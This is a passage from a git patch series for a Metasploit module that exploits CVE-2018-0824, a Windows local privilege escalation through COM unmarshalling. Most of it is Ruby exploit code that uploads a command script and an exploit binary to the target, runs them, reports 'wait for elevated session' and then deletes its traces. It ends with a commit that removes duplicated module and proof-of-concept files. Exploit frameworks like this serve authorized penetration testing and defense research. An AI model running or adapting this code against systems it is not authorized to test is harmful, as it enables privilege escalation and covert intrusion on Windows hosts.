cmd_to_run + script_data = script_template_data.sub!('SCRIPTED_COMMAND', full_command) + if script_data == nil + fail_with(Failure::BadConfig, "Failed to substitute command in script_template") + end + vprint_status("Writing #{script_data.length} bytes to #{script_path} to target") + write_file(script_path, script_data) + vprint_status('Script uploaded successfully') + end + + def exploit + if cmd_to_run.nil? + cmd_to_run = populate_command + end + print_status("exploit path is: #{exploit_path}") + print_status("script path is: #{script_path}") + print_status("command is: #{cmd_to_run}") + begin + validate_active_host + validate_target + validate_remote_path(temp_path) + ensure_clean_destination(exploit_path) + ensure_clean_destination(script_path) + vprint_status("Uploading Script to #{script_path}") + upload_script(cmd_to_run) + vprint_status("Uploading Exploit to #{exploit_path}") + upload_exploit + vprint_status('Launching Exploit...') + command_output = cmd_exec(exploit_path + ' ' + script_path) + vprint_status(command_output) + print_good('Exploit completed, wait for elevated session') + ensure_clean_destination(exploit_path) + ensure_clean_destination(script_path) + rescue Rex::Post::Meterpreter::RequestError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + print_good('Command failed, cleaning up') + print_error(e.message) + ensure_clean_destination(exploit_path) + ensure_clean_destination(script_path) + end + end + + attr_reader :exploit_name + attr_reader :cmd_to_run + attr_reader :script_name + attr_reader :temp_path + attr_reader :exploit_path + attr_reader :script_path +end + From 927a29530b96119210ea848f0ef6f8d5adf6fd8a Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Tue, 23 Oct 2018 12:31:18 -0500 Subject: [PATCH 19/20] Remove duplicated files --- data/exploits/CVE-2018-0824/poc_footer | 5 - data/exploits/CVE-2018-0824/poc_header | 13 -- modules/exploits/windows/local/unmarshal.rb | 185 ------------------ modules/post/windows/escalate/unmarshal.rb | 134 ------------- .../windows/escalate/unmarshal_cmd_exec.rb | 7 +- 5 files changed, 5 insertions(+), 339 deletions(-) delete mode 100644 data/exploits/CVE-2018-0824/poc_footer delete mode 100644 data/exploits/CVE-2018-0824/poc_header delete mode 100644 modules/exploits/windows/local/unmarshal.rb delete mode 100644 modules/post/windows/escalate/unmarshal.rb diff --git a/data/exploits/CVE-2018-0824/poc_footer b/data/exploits/CVE-2018-0824/poc_footer deleted file mode 100644 index 796400f9ef..0000000000 --- a/data/exploits/CVE-2018-0824/poc_footer +++ /dev/null @@ -1,5 +0,0 @@ -"); -]]> - - - diff --git a/data/exploits/CVE-2018-0824/poc_header b/data/exploits/CVE-2018-0824/poc_header deleted file mode 100644 index aeb880ffb5..0000000000 --- a/data/exploits/CVE-2018-0824/poc_header +++ /dev/null @@ -1,13 +0,0 @@ - - - - - -